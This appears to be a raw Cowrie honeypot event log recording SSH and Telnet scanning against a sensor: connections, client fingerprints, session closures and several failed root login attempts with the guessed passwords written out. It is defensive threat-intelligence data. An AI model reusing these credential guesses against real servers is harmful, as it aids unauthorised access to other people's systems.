{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":35338,"dst_ip":"10.17.0.5","dst_port":22,"session":"b87d36b7f8b0","protocol":"ssh","message":"New connection: 94.156.152.18:35338 (10.17.0.5:22) [session: b87d36b7f8b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:48.509843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:48.514736Z","src_ip":"94.156.152.18","session":"b87d36b7f8b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:48.641031Z","src_ip":"94.156.152.18","session":"b87d36b7f8b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QUEENVPS#8VCPU16GBAMD","message":"login attempt [root/QUEENVPS#8VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:49.019957Z","src_ip":"94.156.152.18","session":"b87d36b7f8b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":60572,"dst_ip":"10.17.0.5","dst_port":23,"session":"33b5b33321a6","protocol":"telnet","message":"New connection: 65.60.27.33:60572 (10.17.0.5:23) [session: 33b5b33321a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:49.880560Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:50.147485Z","src_ip":"94.156.152.18","session":"b87d36b7f8b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.18639779090881,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:50.159306Z","src_ip":"62.210.97.77","session":"4af4b5b2dad0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.21833634376526,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:50.525976Z","src_ip":"65.60.27.33","session":"6ffdaad981ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35632,"dst_ip":"10.17.0.5","dst_port":23,"session":"d39700592021","protocol":"telnet","message":"New connection: 62.210.97.77:35632 (10.17.0.5:23) [session: d39700592021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:51.274546Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35634,"dst_ip":"10.17.0.5","dst_port":23,"session":"14b646d7a02e","protocol":"telnet","message":"New connection: 62.210.97.77:35634 (10.17.0.5:23) [session: 14b646d7a02e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:51.624901Z"}
{"eventid":"cowrie.session.closed","duration":31.120606899261475,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:52.348710Z","src_ip":"62.210.97.77","session":"f5837897b900","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":38832,"dst_ip":"10.17.0.5","dst_port":23,"session":"24af1a2317ef","protocol":"telnet","message":"New connection: 165.232.131.181:38832 (10.17.0.5:23) [session: 24af1a2317ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:53.244620Z"}
{"eventid":"cowrie.session.closed","duration":30.92677879333496,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:53.818335Z","src_ip":"62.210.97.77","session":"1294d12d7a01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.14283013343811,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:54.337785Z","src_ip":"62.210.97.77","session":"257d63c7aee7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.60890173912048,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:54.370124Z","src_ip":"62.210.97.77","session":"f43f2f086ec4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":40938,"dst_ip":"159.203.135.109","dst_port":23,"session":"3af40ffb6440","protocol":"telnet","message":"New connection: 134.209.8.29:40938 (159.203.135.109:23) [session: 3af40ffb6440]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:54.499823Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":37934,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c253b1fec80","protocol":"telnet","message":"New connection: 65.60.27.33:37934 (10.17.0.5:23) [session: 3c253b1fec80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:54.743531Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35648,"dst_ip":"10.17.0.5","dst_port":23,"session":"8060add1d7b9","protocol":"telnet","message":"New connection: 62.210.97.77:35648 (10.17.0.5:23) [session: 8060add1d7b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:56.090997Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35664,"dst_ip":"10.17.0.5","dst_port":23,"session":"5dec756f3a70","protocol":"telnet","message":"New connection: 62.210.97.77:35664 (10.17.0.5:23) [session: 5dec756f3a70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:57.236221Z"}
{"eventid":"cowrie.session.closed","duration":34.59664344787598,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:57.500232Z","src_ip":"62.210.97.77","session":"7c9221c7e12d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.88992357254028,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:58.326078Z","src_ip":"62.210.97.77","session":"76fd366fa02f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.08120083808899,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:59.038574Z","src_ip":"62.210.97.77","session":"fece3beac34a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50168,"dst_ip":"10.17.0.5","dst_port":23,"session":"5456d24c3577","protocol":"telnet","message":"New connection: 62.210.97.77:50168 (10.17.0.5:23) [session: 5456d24c3577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:59.297481Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50184,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b7e6acd852e","protocol":"telnet","message":"New connection: 62.210.97.77:50184 (10.17.0.5:23) [session: 3b7e6acd852e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:59.328438Z"}
{"eventid":"cowrie.session.closed","duration":61.06119632720947,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:59.570371Z","src_ip":"134.209.8.29","session":"db4415436f44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.41320776939392,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:28:59.952205Z","src_ip":"62.210.97.77","session":"e53aac6d7471","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.13519024848938,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:02.319443Z","src_ip":"65.60.27.33","session":"40e27d7cf484","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:02.688139Z","src_ip":"39.99.212.219","session":"38dff943f439","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":48972,"dst_ip":"10.17.0.5","dst_port":23,"session":"870cad56d78e","protocol":"telnet","message":"New connection: 165.232.131.181:48972 (10.17.0.5:23) [session: 870cad56d78e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:03.175074Z"}
{"eventid":"cowrie.session.closed","duration":41.5191068649292,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:04.262608Z","src_ip":"38.54.119.93","session":"64f631c55794","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50188,"dst_ip":"10.17.0.5","dst_port":23,"session":"b06b12619d19","protocol":"telnet","message":"New connection: 62.210.97.77:50188 (10.17.0.5:23) [session: b06b12619d19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:04.321479Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50198,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7cafedc018a","protocol":"telnet","message":"New connection: 62.210.97.77:50198 (10.17.0.5:23) [session: d7cafedc018a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:04.725066Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.232.13.218","src_port":53728,"dst_ip":"10.17.0.5","dst_port":22,"session":"4aacc815420c","protocol":"ssh","message":"New connection: 156.232.13.218:53728 (10.17.0.5:22) [session: 4aacc815420c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:05.452142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:05.457213Z","src_ip":"156.232.13.218","session":"4aacc815420c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.26972484588623,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:05.488135Z","src_ip":"62.210.97.77","session":"e0bccfc38eb0","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:05.533810Z","src_ip":"156.232.13.218","session":"4aacc815420c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin102030","message":"login attempt [root/admin102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:05.847060Z","src_ip":"156.232.13.218","session":"4aacc815420c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.75086951255798,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:06.263345Z","src_ip":"62.210.97.77","session":"951139a5077f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.4742536544799805,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:06.649208Z","src_ip":"165.232.131.181","session":"870cad56d78e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:06.919687Z","src_ip":"156.232.13.218","session":"4aacc815420c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50214,"dst_ip":"10.17.0.5","dst_port":23,"session":"f87c22720e34","protocol":"telnet","message":"New connection: 62.210.97.77:50214 (10.17.0.5:23) [session: f87c22720e34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:07.287133Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":53752,"dst_ip":"10.17.0.5","dst_port":23,"session":"534cee23bf09","protocol":"telnet","message":"New connection: 65.60.27.33:53752 (10.17.0.5:23) [session: 534cee23bf09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:08.281919Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45508,"dst_ip":"10.17.0.5","dst_port":23,"session":"1641579124bd","protocol":"telnet","message":"New connection: 62.210.97.77:45508 (10.17.0.5:23) [session: 1641579124bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:09.201112Z"}
{"eventid":"cowrie.session.closed","duration":30.80743098258972,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:10.217167Z","src_ip":"94.156.33.203","session":"fd42f8b9260c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45512,"dst_ip":"10.17.0.5","dst_port":23,"session":"07f04f4001f6","protocol":"telnet","message":"New connection: 62.210.97.77:45512 (10.17.0.5:23) [session: 07f04f4001f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:10.844846Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45526,"dst_ip":"10.17.0.5","dst_port":23,"session":"f180d9d8dc67","protocol":"telnet","message":"New connection: 62.210.97.77:45526 (10.17.0.5:23) [session: f180d9d8dc67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:11.015958Z"}
{"eventid":"cowrie.session.closed","duration":36.453104972839355,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:12.048894Z","src_ip":"62.210.97.77","session":"249ac9d86113","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.203343868255615,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:12.605349Z","src_ip":"65.60.27.33","session":"23b119c70623","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":37616,"dst_ip":"10.17.0.5","dst_port":23,"session":"602b93a822a8","protocol":"telnet","message":"New connection: 65.60.27.33:37616 (10.17.0.5:23) [session: 602b93a822a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:18.692993Z"}
{"eventid":"cowrie.session.closed","duration":36.46295475959778,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:18.700095Z","src_ip":"62.210.97.77","session":"758e0e949b5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47272,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0295bd96786","protocol":"telnet","message":"New connection: 62.210.97.77:47272 (10.17.0.5:23) [session: c0295bd96786]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:21.056763Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":47284,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c172e93cfd9","protocol":"telnet","message":"New connection: 62.210.97.77:47284 (10.17.0.5:23) [session: 0c172e93cfd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:22.804887Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":42862,"dst_ip":"10.17.0.5","dst_port":23,"session":"b605203c45ca","protocol":"telnet","message":"New connection: 65.60.27.33:42862 (10.17.0.5:23) [session: b605203c45ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:24.257875Z"}
{"eventid":"cowrie.session.closed","duration":34.07360601425171,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:25.348012Z","src_ip":"62.210.97.77","session":"d39700592021","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.198.206","src_port":36832,"dst_ip":"10.17.0.5","dst_port":22,"session":"79d098368851","protocol":"ssh","message":"New connection: 45.78.198.206:36832 (10.17.0.5:22) [session: 79d098368851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:25.362685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:25.367689Z","src_ip":"45.78.198.206","session":"79d098368851","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:25.614128Z","src_ip":"45.78.198.206","session":"79d098368851","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.129.122.12","src_port":17422,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cf6fc6fe408","protocol":"ssh","message":"New connection: 190.129.122.12:17422 (10.17.0.5:22) [session: 1cf6fc6fe408]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:25.892533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:25.897136Z","src_ip":"190.129.122.12","session":"1cf6fc6fe408","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:26.074584Z","src_ip":"190.129.122.12","session":"1cf6fc6fe408","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.94893026351929,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:26.573750Z","src_ip":"62.210.97.77","session":"14b646d7a02e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"server2003","message":"login attempt [root/server2003] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:26.804803Z","src_ip":"190.129.122.12","session":"1cf6fc6fe408","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sltadmin","message":"login attempt [root/sltadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:29:27.345908Z","src_ip":"45.78.198.206","session":"79d098368851","protocol":"ssh"}
